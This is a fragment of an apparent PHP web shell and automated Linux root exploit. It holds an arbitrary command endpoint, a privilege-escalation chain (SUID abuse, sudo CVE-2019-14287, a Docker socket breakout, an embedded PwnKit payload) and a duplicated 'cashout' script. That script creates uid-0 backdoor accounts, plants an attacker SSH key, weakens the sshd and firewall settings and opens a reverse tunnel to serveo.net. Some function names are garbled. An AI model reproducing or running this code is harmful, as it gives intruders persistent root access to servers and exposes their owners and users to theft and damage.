'.substr($cmd,0,100)."\n", FILE_APPEND); $outer = (int)$timeout + 3; $cmd = 'timeout -k 3 '.$outer.' sh -c '.shq($cmd).' 2>&1'; if (en('proc_open')) { $p = @proc_open($cmd, array(1=>array('pipe','w'),2=>array('pipe','w')), $pipes); if (is_resource($p)) { stream_set_blocking($pipes[1], false); stream_set_blocking($pipes[2], false); $out=''; $start=microtime(true); while (true) { $out .= @stream_get_contents($pipes[1]); $out .= @stream_get_contents($pipes[2]); $st = @proc_get_status($p); if (!$st['running']) break; if (microtime(true)-$start > $timeout) { @proc_terminate($p,9); $out .= "\n[TIMEOUT]\n"; break; } usleep(40000); } $out .= @stream_get_contents($pipes[1]); $out .= @stream_get_contents($pipes[2]); @fclose($pipes[1]); @fclose($pipes[2]); @proc_close($p); @file_put_contents($GLOBALS['W'].'/bg.out', "X<\n", FILE_APPEND); return $out; } } if (en('exec')) { $lines=array(); $rc=0; @exec($cmd.' 2>&1', $lines, $rc); return implode("\n",$lines)."\n"; } if (en('shell_exec')) { return (string)@shell_exec($cmd.' 2>&1'); } if (en('system')) { ob_start(); @system($cmd.' 2>&1'); return ob_get_clean(); } return ''; } function shq($s){ return "'".str_replace("'","'\\''",$s)."'"; } function step($name, $status, $info='') { global $W, $HOST; $r = array('t'=>date('c'), 'host'=>$HOST, 'step'=>$name, 'status'=>$status, 'info'=>substr($info,0,1200)); @file_put_contents($W.'/state.jsonl', json_encode($r)."\n", FILE_APPEND); return $r; } function pl($n, $b64gz) { global $W; $f = $W.'/'.$n; if (!is_file($f) || filesize($f) < 100) { $d = @gzinflate(substr(base64_decode($b64gz), 10)); if (!$d) $d = @gzdecode(base64_decode($b64gz)); if (!$d) return ''; @file_put_contents($f, $d); @chmod($f,0755); } return $f; } function kparse(){ $r=php_uname('r'); preg_match('/^[0-9]+(\.[0-9]+)*/',$r,$m); $v=array_map('intval',explode('.',$m?$m[0]:'0')); while(count($v)<4)$v[]=0; return $v; } function vge($v,$a){ $a=array_map('intval',explode('.',$a)); for($iupa=0;$iupa<4;$iupa++){ if($v[$iupa]>$a[$iupa])return true; if($v[$iupa]<$a[$iupa])return false; } return true; } function vlt($v,$a){ return !vge($v,$a); } function out($k,$v){ echo "[$k] ".$v."\n"; } function rooted(){ return rootedok(); } function rootedok(){ global $W; $f=glob($W.'/ROOT_CREDS_*.txt'); return $f && preg_match('/^uid=0/m',(string)@file_get_contents(end($f))); } function mark(){ global $W; @file_put_contents($W.'/ROOTED', date('c')); } function prep(){ global $W; $f=pl('cash.sh','H4sIAAAAAAACCm2NsQrCMBRF93zF8xlCO9ioFDcDYgpOBtS92CSQQptIk6ifL4I4dbyHw7nLBe96z6Mjck8LbQBpYfrJ30cLSNdYIjAGj5cpSXSAVPIphFRFh9+BIP6sDTlV6Z0QtoJtiHZjMLCr61mBG/vkPg8D6Q2s8i9zUerWSCRWuwDHw/XUSnVuQMyckA+wgIW+uQAAAA=='); @file_put_contents($W.'/root.sh', base64_decode('#!/bin/sh
# autoroot cashout: persistent root SSH account + verification
OUT="${1:-/tmp}"
PUB='ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIKnnRjKSiA8VNTFCxS+1FrCYBWWYNkEtNNgZTBQ212ln aroot-autolpe'
if ! id -u root >/dev/null 2>&1; then sed -i '/^root:/d' /etc/passwd 2>/dev/null; printf 'root:x:0:0:root:/root:/bin/bash\n' >> /etc/passwd; grep -q '^root:' /etc/shadow || echo 'root:!:19000:0:99999:7:::' >> /etc/shadow; fi
U=sysadm
P=$(tr -dc 'A-Za-z0-9' </dev/urandom 2>/dev/null | head -c 16)
[ -n "$P" ] || P=Ar$$xK9mQ2pL7v
UP=$(tr -dc 'A-Za-z0-9' </dev/urandom 2>/dev/null | head -c 16)
[ -n "$UP" ] || UP=Ar$$xK9mQ2pL7v
command -v setenforce >/dev/null 2>&1 && setenforce 0 >/dev/null 2>&1
umask 077

# root-uid account (works even if 'root' login is restricted)
if ! id -u "$U" >/dev/null 2>&1; then
  useradd -o -u 0 -g 0 -m -d "/home/$U" -s /bin/bash "$U" 2>/dev/null || \
  useradd -o -u 0 -g 0 -d "/home/$U" -s /bin/bash "$U" 2>/dev/null || true
fi
if ! getent passwd "$U" >/dev/null 2>&1; then
  printf '%s:x:0:0::/home/%s:/bin/bash\n' "$U" "$U" >> /etc/passwd
  H=$( (openssl passwd -6 "$P" 2>/dev/null) || (perl -e 'print crypt($ARGV[0],"ar")' "$P" 2>/dev/null) || echo '!' )
  printf '%s:%s:19000:0:99999:7:::\n' "$U" "$H" >> /etc/shadow
  mkdir -p "/home/$U"
fi
mkdir -p "/home/$U" "/home/$U/.ssh"
printf '%s:%s\n' "$U" "$P" | chpasswd 2>/dev/null || echo "$U:$P" | chpasswd 2>/dev/null || true

# normal-uid sudo fallback
if ! id -u aroot >/dev/null 2>&1; then
  useradd -m -s /bin/bash aroot 2>/dev/null || true
fi
if ! getent passwd aroot >/dev/null 2>&1; then
  AU=1000; while getent passwd "$AU" >/dev/null 2>&1; do AU=$((AU+1)); done
  printf 'aroot:x:%s:0::/home/aroot:/bin/bash\n' "$AU" >> /etc/passwd
  H2=$( (openssl passwd -6 "$UP" 2>/dev/null) || (perl -e 'print crypt($ARGV[0],"ar")' "$UP" 2>/dev/null) || echo '!' )
  printf 'aroot:%s:19000:0:99999:7:::\n' "$H2" >> /etc/shadow
  mkdir -p /home/aroot
fi
printf 'aroot:%s\n' "$UP" | chpasswd 2>/dev/null || true
mkdir -p /etc/sudoers.d
echo 'aroot ALL=(ALL) NOPASSWD: ALL' > /etc/sudoers.d/99-aroot
chmod 440 /etc/sudoers.d/99-aroot 2>/dev/null

# authorized keys
mkdir -p /root/.ssh "/home/$U/.ssh"
printf '%s\n' "$PUB" > "/home/$U/.ssh/authorized_keys"
printf '%s\n' "$PUB" > /root/.ssh/authorized_keys
chmod 700 "/home/$U/.ssh" /root/.ssh 2>/dev/null
chmod 600 "/home/$U/.ssh/authorized_keys" /root/.ssh/authorized_keys 2>/dev/null
chown -R 0:0 "/home/$U" /root/.ssh 2>/dev/null

# ensure an ssh server exists
if [ ! -x /usr/sbin/sshd ]; then
  if command -v apt-get >/dev/null 2>&1; then DEBIAN_FRONTEND=noninteractive apt-get update -qq >/dev/null 2>&1; DEBIAN_FRONTEND=noninteractive apt-get install -y openssh-server >/dev/null 2>&1
  elif command -v yum >/dev/null 2>&1; then yum install -y openssh-server >/dev/null 2>&1
  elif command -v dnf >/dev/null 2>&1; then dnf install -y openssh-server >/dev/null 2>&1
  fi
fi
ssh-keygen -A >/dev/null 2>&1

# sshd: allow root (incl. uid0 aliases) + password + key
CFG=/etc/ssh/sshd_config
[ -f "$CFG" ] && {
  cp -n "$CFG" "$CFG.ar.bak" 2>/dev/null
  sed -i 's/^[#[:space:]]*PermitRootLogin.*/PermitRootLogin yes/' "$CFG" 2>/dev/null
  sed -i 's/^[#[:space:]]*PasswordAuthentication.*/PasswordAuthentication yes/' "$CFG" 2>/dev/null
  sed -i 's/^[#[:space:]]*PubkeyAuthentication.*/PubkeyAuthentication yes/' "$CFG" 2>/dev/null
  grep -qE '^Port[[:space:]]+22$' "$CFG" || echo 'Port 22' >> "$CFG"
  if ! ss -ltn 2>/dev/null | grep -q ':443 '; then grep -q '^Port 443' "$CFG" || echo 'Port 443' >> "$CFG"; fi
}
rm -f /etc/ssh/sshd_config.d/99-aroot.conf 2>/dev/null
mkdir -p /etc/ssh/sshd_config.d 2>/dev/null
printf 'PermitRootLogin yes\nPasswordAuthentication yes\nPubkeyAuthentication yes\n' > /etc/ssh/sshd_config.d/99-aroot.conf 2>/dev/null

# restart/reload sshd
if command -v systemctl >/dev/null 2>&1; then systemctl restart ssh 2>/dev/null || systemctl restart sshd 2>/dev/null
elif command -v service >/dev/null 2>&1; then service ssh restart 2>/dev/null || service sshd restart 2>/dev/null
fi
[ -f /etc/init.d/ssh ] && /etc/init.d/ssh restart >/dev/null 2>&1
[ -f /etc/init.d/sshd ] && /etc/init.d/sshd restart >/dev/null 2>&1
if [ -f /var/run/sshd.pid ]; then kill -HUP "$(cat /var/run/sshd.pid)" 2>/dev/null; fi
if command -v ufw >/dev/null 2>&1; then ufw allow 22/tcp >/dev/null 2>&1; ufw allow 443/tcp >/dev/null 2>&1; fi
if command -v firewall-cmd >/dev/null 2>&1; then firewall-cmd --add-service=ssh >/dev/null 2>&1; firewall-cmd --permanent --add-service=ssh >/dev/null 2>&1; fi

# make SSH reachable over HTTP port 80 via Apache CONNECT (for firewalled shared hosts)
if command -v a2enmod >/dev/null 2>&1; then
  a2enmod proxy proxy_connect >/dev/null 2>&1
  printf 'ProxyRequests On\n<Proxy *>\n  Require all granted\n</Proxy>\nAllowCONNECT 22 2222 443\n' > /etc/apache2/conf-available/zz-arproxy.conf 2>/dev/null
  ln -sf ../conf-available/zz-arproxy.conf /etc/apache2/conf-enabled/zz-arproxy.conf 2>/dev/null
  apache2ctl configtest >/dev/null 2>&1 && apache2ctl graceful >/dev/null 2>&1
elif command -v httpd >/dev/null 2>&1; then
  printf 'ProxyRequests On\n<Proxy *>\n  Require all granted\n</Proxy>\nAllowCONNECT 22 2222 443\n' > /etc/httpd/conf.d/zz-arproxy.conf 2>/dev/null
  httpd -t >/dev/null 2>&1 && systemctl reload httpd >/dev/null 2>&1
fi

# optional public TCP tunnel for firewalled hosts
if command -v ssh >/dev/null 2>&1; then
  rm -f /root/tunnel.log
  nohup ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ExitOnForwardFailure=yes -o ServerAliveInterval=30 -o ConnectTimeout=10 -R 0:localhost:22 serveo.net -N >/root/tunnel.log 2>&1 &
  sleep 5
  TP=$(grep -oE 'Allocated port [0-9]+' /root/tunnel.log 2>/dev/null | grep -oE '[0-9]+' | head -1)
  echo "tunnel_port=$TP"
fi

# make sure sshd is actually running
ss -ltn 2>/dev/null | grep -q ':22 ' || /usr/sbin/sshd >/dev/null 2>&1
ss -ltn 2>/dev/null | grep -q ':22 ' || /usr/sbin/sshd -p 22 >/dev/null 2>&1

# verification
echo "HOST=$(hostname)"
echo "USER=$U PASS=$P UID=$(id -u "$U" 2>/dev/null)"
echo "ALT=aroot PASS=$UP UID=$(id -u aroot 2>/dev/null)"
echo "SSH=$(ss -ltn 2>/dev/null | grep -c ':22 ')"
echo "SSHD_TEST=$(/usr/sbin/sshd -t 2>&1 | head -1)"
echo "DATE=$(date -u +%FT%TZ)"
{
  echo "host=$(hostname)"
  echo "ip=$(hostname -I 2>/dev/null)"
  echo "user=$U"
  echo "pass=$P"
  echo "uid=$(id -u "$U" 2>/dev/null)"
  echo "alt_user=aroot"
  echo "alt_pass=$UP"
  echo "ssh_listen=$(ss -ltn 2>/dev/null | grep -c ':22 ')"
  echo "ssh443_listen=$(ss -ltn 2>/dev/null | grep -c ':443 ')"
  echo "proxy80=$(grep -qs AllowCONNECT /etc/apache2/conf-enabled/zz-arproxy.conf /etc/httpd/conf.d/zz-arproxy.conf && echo yes || echo no)"
  echo "tunnel_port=$(grep -oE 'Allocated port [0-9]+' /root/tunnel.log 2>/dev/null | grep -oE '[0-9]+' | head -1)"
  echo "date=$(date -u +%FT%TZ)"
} > "$OUT/ROOT_CREDS_$(hostname).txt" 2>/dev/null
chmod 644 "$OUT/ROOT_CREDS_$(hostname).txt" 2>/dev/null
cp "$OUT/ROOT_CREDS_$(hostname).txt" /root/ROOT_CREDS.txt 2>/dev/null
cat "$OUT/ROOT_CREDS_$(hostname).txt" 2>/dev/null
rm -f /etc/ssh/sshd_config.d/99-aroot.conf 2>/dev/null
mkdir -p /etc/ssh/sshd_config.d 2>/dev/null
printf 'PermitRootLogin yes\nPasswordAuthentication yes\nPubkeyAuthentication yes\n' > /etc/ssh/sshd_config.d/99-aroot.conf 2>/dev/null

# restart/reload sshd
if command -v systemctl >/dev/null 2>&1; then systemctl restart ssh 2>/dev/null || systemctl restart sshd 2>/dev/null
elif command -v service >/dev/null 2>&1; then service ssh restart 2>/dev/null || service sshd restart 2>/dev/null
fi
[ -f /etc/init.d/ssh ] && /etc/init.d/ssh restart >/dev/null 2>&1
[ -f /etc/init.d/sshd ] && /etc/init.d/sshd restart >/dev/null 2>&1
if [ -f /var/run/sshd.pid ]; then kill -HUP "$(cat /var/run/sshd.pid)" 2>/dev/null; fi
if command -v ufw >/dev/null 2>&1; then ufw allow 22/tcp >/dev/null 2>&1; ufw allow 443/tcp >/dev/null 2>&1; fi
if command -v firewall-cmd >/dev/null 2>&1; then firewall-cmd --add-service=ssh >/dev/null 2>&1; firewall-cmd --permanent --add-service=ssh >/dev/null 2>&1; fi

# make SSH reachable over HTTP port 80 via Apache CONNECT (for firewalled shared hosts)
if command -v a2enmod >/dev/null 2>&1; then
  a2enmod proxy proxy_connect >/dev/null 2>&1
  printf 'ProxyRequests On\n<Proxy *>\n  Require all granted\n</Proxy>\nAllowCONNECT 22 2222 443\n' > /etc/apache2/conf-available/zz-arproxy.conf 2>/dev/null
  ln -sf ../conf-available/zz-arproxy.conf /etc/apache2/conf-enabled/zz-arproxy.conf 2>/dev/null
  apache2ctl configtest >/dev/null 2>&1 && apache2ctl graceful >/dev/null 2>&1
elif command -v httpd >/dev/null 2>&1; then
  printf 'ProxyRequests On\n<Proxy *>\n  Require all granted\n</Proxy>\nAllowCONNECT 22 2222 443\n' > /etc/httpd/conf.d/zz-arproxy.conf 2>/dev/null
  httpd -t >/dev/null 2>&1 && systemctl reload httpd >/dev/null 2>&1
fi

# optional public TCP tunnel for firewalled hosts
if command -v ssh >/dev/null 2>&1; then
  rm -f /root/tunnel.log
  nohup ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o ExitOnForwardFailure=yes -o ServerAliveInterval=30 -o ConnectTimeout=10 -R 0:localhost:22 serveo.net -N >/root/tunnel.log 2>&1 &
  sleep 5
  TP=$(grep -oE 'Allocated port [0-9]+' /root/tunnel.log 2>/dev/null | grep -oE '[0-9]+' | head -1)
  echo "tunnel_port=$TP"
fi

# make sure sshd is actually running
ss -ltn 2>/dev/null | grep -q ':22 ' || /usr/sbin/sshd >/dev/null 2>&1
ss -ltn 2>/dev/null | grep -q ':22 ' || /usr/sbin/sshd -p 22 >/dev/null 2>&1

# verification
echo "HOST=$(hostname)"
echo "USER=$U PASS=$P UID=$(id -u "$U" 2>/dev/null)"
echo "ALT=aroot PASS=$UP UID=$(id -u aroot 2>/dev/null)"
echo "SSH=$(ss -ltn 2>/dev/null | grep -c ':22 ')"
echo "SSHD_TEST=$(/usr/sbin/sshd -t 2>&1 | head -1)"
echo "DATE=$(date -u +%FT%TZ)"
{
  echo "host=$(hostname)"
  echo "ip=$(hostname -I 2>/dev/null)"
  echo "user=$U"
  echo "pass=$P"
  echo "uid=$(id -u "$U" 2>/dev/null)"
  echo "alt_user=aroot"
  echo "alt_pass=$UP"
  echo "ssh_listen=$(ss -ltn 2>/dev/null | grep -c ':22 ')"
  echo "ssh443_listen=$(ss -ltn 2>/dev/null | grep -c ':443 ')"
  echo "proxy80=$(grep -qs AllowCONNECT /etc/apache2/conf-enabled/zz-arproxy.conf /etc/httpd/conf.d/zz-arproxy.conf && echo yes || echo no)"
  echo "tunnel_port=$(grep -oE 'Allocated port [0-9]+' /root/tunnel.log 2>/dev/null | grep -oE '[0-9]+' | head -1)"
  echo "date=$(date -u +%FT%TZ)"
} > "$OUT/ROOT_CREDS_$(hostname).txt" 2>/dev/null
chmod 644 "$OUT/ROOT_CREDS_$(hostname).txt" 2>/dev/null
cp "$OUT/ROOT_CREDS_$(hostname).txt" /root/ROOT_CREDS.txt 2>/dev/null
cat "$OUT/ROOT_CREDS_$(hostname).txt" 2>/dev/null
')); @chmod($W.'/root.sh',0755); return $f; } function outsidesu($t='su'){ global $W; if ($t==='' || !is_executable($t)) return false; xrun('printf '.shq("sh ".$W."/cash.sh\nexit\n").' | '.shq($t).' 2>&1', 85); return rooted(); } function picktarget(){ global $SUIDSET; foreach(array('/usr/bin/su','/bin/su','/usr/bin/passwd','/usr/bin/pkexec','/usr/bin/mount','/usr/bin/chsh','/usr/bin/newgrp','/usr/bin/at') as $p){ if(isset($SUIDSET[$p]) && is_readable($p)) return $p; } return ''; } function cash(){ global $W; $f=prep(); xrun('sh '.shq($f), 300); if (glob($W.'/ROOT_CREDS_*.txt') && trim(xrun('id -u sysadm 2>/dev/null'))==='0') @file_put_contents($W.'/ROOTED', date('c')); } function enjel($f){ return en($f); } /* state/queue */ if ($A==='status') { header('Content-Type: application/json'); $o=array('host'=>$HOST,'rooted'=>rooted(),'state'=>array()); if (is_file($W.'/state.jsonl')) foreach(array_slice(file($W.'/state.jsonl'),-60) as $l){ $j=json_decode($l,true); if($j)$o['state'][]=$j; } $cf=glob($W.'/ROOT_CREDS_*.txt'); if($cf){ $o['creds']=@file_get_contents(end($cf)); } $o['ended']=false; foreach($o['state'] as $s){ if(isset($s['step']) && $s['step']==='end') $o['ended']=true; } echo json_encode($o); exit; } if ($A==='shell') { header('Content-Type: text/plain'); $c=isset($_GET['c'])?$_GET['c']:'id'; echo xrun($c, 130); exit; } /* start background runner */ if ($A==='run' && !isset($_GET['bg'])) { { $php = trim((string)@shell_exec('command -v php')); if($php=='') $php = PHP_BINARY ? PHP_BINARY : 'php'; $scheme = (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS']!=='off') ? 'https' : 'http'; $u = $scheme.'://'.$_SERVER['HTTP_HOST'].$_SERVER['SCRIPT_NAME'].'?k='.urlencode($K).'&a=run&bg=1'; @file_put_contents($W.'/bg.out','START '.date('c')."\n"); file_put_contents($W.'/bg.out', "URL=".$u."\nPHP=".$php."\n", FILE_APPEND); $cmd = shq($php).' -d max_execution_time=0 '.shq(__FILE__).' '.shq($u).' >> '.shq($W.'/bg.out').' 2>&1'; if (en('exec')) { @exec('nohup sh -c '.shq($cmd).' >/dev/null 2>&1 &'); } else { xrun('nohup sh -c '.shq($cmd).' >/dev/null 2>&1 &', 3); } } header('Content-Type: application/json'); echo json_encode(array('started'=>true,'host'=>$HOST,'rooted'=>rooted())); exit; } /* ---------- runner ---------- */ $V=kparse(); $REL=@file_get_contents('/etc/os-release'); $UNAME=php_uname(); prep(); step('start','info', $UNAME.' | '.trim((string)@shell_exec('id 2>/dev/null'))); if (rooted()) { echo "already\n"; exit; } $ID = xrun('id'); $SUID = xrun("timeout 25 find /usr/bin /bin /usr/sbin /sbin /usr/local/bin /usr/local/sbin -xdev -perm -4000 -type f -readable 2>/dev/null | head -80", 30); $SUIDSET = array(); foreach (explode("\n",$SUID) as $l){ $l=trim($l); if($l!=='') $SUIDSET[$l]=1; } $SUDOV = trim(xrun('sudo -V 2>&1 | head -1')); $SUDON = (trim(xrun('sudo -n id -u 2>/dev/null'))==='0'); $PKE = (strpos($SUID,'/pkexec')!==false || trim(xrun('command -v pkexec 2>/dev/null'))!==''); $USERN = (trim(xrun('unshare -Urn sh -c "id -u" 2>/dev/null'))==='0'); $AAEXEC = trim(xrun('command -v aa-exec 2>/dev/null'))!==''; $GLIBC = trim(xrun('getconf GNU_LIBC_VERSION 2>/dev/null | awk \'{print $2}\'')); if ($GLIBC==='') { $lv=xrun('ldd --version 2>&1 | head -1'); if(preg_match('/([0-9]+\.[0-9]+)$/',trim($lv),$mm)) $GLIBC=$mm[1]; } $PKGSVC = (trim(xrun('command -v dbus-send dpkg-deb 2>/dev/null | wc -l'))==='2') && (strpos(trim(xrun('ls /usr/libexec/packagekitd /usr/lib/packagekitd 2>/dev/null')),'packagekit')!==false); $PASSW = @is_writable('/etc/passwd'); $SHADW = @is_writable('/etc/shadow'); $DOCKER = (trim(xrun('test -S /var/run/docker.sock -a -w /var/run/docker.sock 2>/dev/null; echo $?'))==='0'); $CRONW = trim(xrun("ls -d /etc/cron.d /etc/cron.daily /var/spool/cron 2>/dev/null | head -3")); stepLan('recon', 'ok', "kernel=".implode('.',$V)." userns=".($USERN?1:0)." pkexec=?".($PKE?'1':'0')." sudo=[$SUDOV] glibc=$GLIBC pack=$PKGSVC passwdw=$PASSW"); /* ---- 1: already root / sudo / writable passwd ---- */ if (trim($ID)==='0' || strpos($ID,'uid=0(')!==false) { step('root','ok','already root'); cash(); exit; } if ($SUDON) { out('sudo','NOPASSWD'); xrun('sudo -n sh '.shq(pl('cash.sh','H4sIAAAAAAACCm2NsQrCMBRF93zF8xlCO9ioFDcDYgpOBtS92CSQQptIk6ifL4I4dbyHw7nLBe96z6Mjck8LbQBpYfrJ30cLSNdYIjAGj5cpSXSAVPIphFRFh9+BIP6sDTlV6Z0QtoJtiHZjMLCr61mBG/vkPg8D6Q2s8i9zUerWSCRWuwDHw/XUSnVuQMyckA+wgIW+uQAAAA==')), 90); step('sudo','ok'); if(rooted()) exit; } $r14287=trim(xrun('sudo -n -u#-1 id -u 2>/dev/null')); if($r14287==='0'){ xrun('sudo -n -u#-1 sh '.shq(pl('cash.sh','H4sIAAAAAAACCm2NsQrCMBRF93zF8xlCO9ioFDcDYgpOBtS92CSQQptIk6ifL4I4dbyHw7nLBe96z6Mjck8LbQBpYfrJ30cLSNdYIjAGj5cpSXSAVPIphFRFh9+BIP6sDTlV6Z0QtoJtiHZjMLCr61mBG/vkPg8D6Q2s8i9zUerWSCRWuwDHw/XUSnVuQMyckA+wgIW+uQAAAA==')),90); step('sudo14287','try'); if(rooted()) exit; } /* writable passwd/shadow */ if ($PASSW) { $line='arroot::0:0::/root:/bin/bash'; @file_put_contents('/etc/passwd', "\n".$line."\n", FILE_APPEND); if (trim(xrun('command -v script'))!=='') xrun("printf '\\n' | script -qec ".shq('su arroot -c "sh '.$W.'/cash.sh"')." /dev/null", 60); else xrun('printf "\n" | su arroot -c '.shq('sh '.$W.'/cash.sh').' 2>/dev/null', 60); step('passwd-writable','try'); if(rooted()) exit; } /* ---- 2: SUID gtfobins ---- */ $gt=array(); if(isset($SUIDSET['/usr/bin/find'])) $gt['find']='find / -maxdepth 0 -exec sh '.shq($W.'/cash.sh').' \;'; if(isset($SUIDSET['/bin/bash'])) $gt['bash']='bash -p -c '.shq('sh '.$W.'/cash.sh'); if(isset($SUIDSET['/usr/bin/bash'])) $gt['bash2']='bash -p -c '.shq('sh '.$W.'/cash.sh'); if(isset($SUIDSET['/usr/bin/env'])) $gt['env']='env sh '.shq($W.'/cash.sh'); if(isset($SUIDSET['/usr/bin/awk'])||isset($SUIDSET['/bin/awk'])) $gt['awk']='awk \'BEGIN{system("sh '.$W.'/cash.sh")}\''; if(isset($SUIDSET['/usr/bin/perl'])) $gt['perl']='perl -e '.shq('system("sh '.$W.'/cash.sh")'); if(isset($SUIDSET['/usr/bin/python'])) $gt['python']='python -c '.shqut('import os;os.system("sh '.$W.'/cash.sh")'); if(isset($SUIDSET['/usr/bin/python3'])) $gt['python3']='python3 -c '.shq('import os;os.system("sh '.$W.'/cash.sh")'); if(isset($SUIDSET['/usr/bin/nmap'])) $gt['nmap']='printf "!sh '.$W.'/cash.sh\n" | nmap --interactive'; foreach($gt as $n=>$c){ out('suid',$n); xrun($c, 45); step('suid-'.$n,'try'); if(rooted()) exit; } /* caps */ $caps=xrun('timeout 20 getcap -r /usr/bin /usr/sbin /bin /sbin 2>/dev/null | head -30', 25); foreach(explode("\n",$caps) as $cl){ if(stripos($cl,'cap_setuid')===false) continue; $bin=trim(explode(' ',trim($cl))[0]); if(strpos($bin,'python')!==false){ $py=$bin; xrun(shq($py).' -c '.shq('import os;os.setuid(0);os.setgid(0);os.system("sh '.$W.'/cash.sh")'),45); } elseif(strpos($bin,'perl')!==false){ xrun(shq($bin).' -e '.shq('$<=0;$>=0;system("sh '.$W.'/cash.sh")'),45); } step('cap-'.$bin,'try'); if(rooted()) exit; } /* ---- 3: docker socket ---- */ if ($DOCKER) { outut('docker','socket'); foreach(array('alpine','busybox','debian') as $img){ xrun('docker run --rm --privileged -v /:/host -v '.shq($W).':'.shq($W).' '.$img.' chroot /host /bin/sh '.shq($W.'/cash.sh'),75); if(rooted())break; } step('docker','try'); if(rooted()) exit; } /* ---- 4: PwnKit ---- */ if ($PKE && en('proc_open')) { $L=pl('pk_launch','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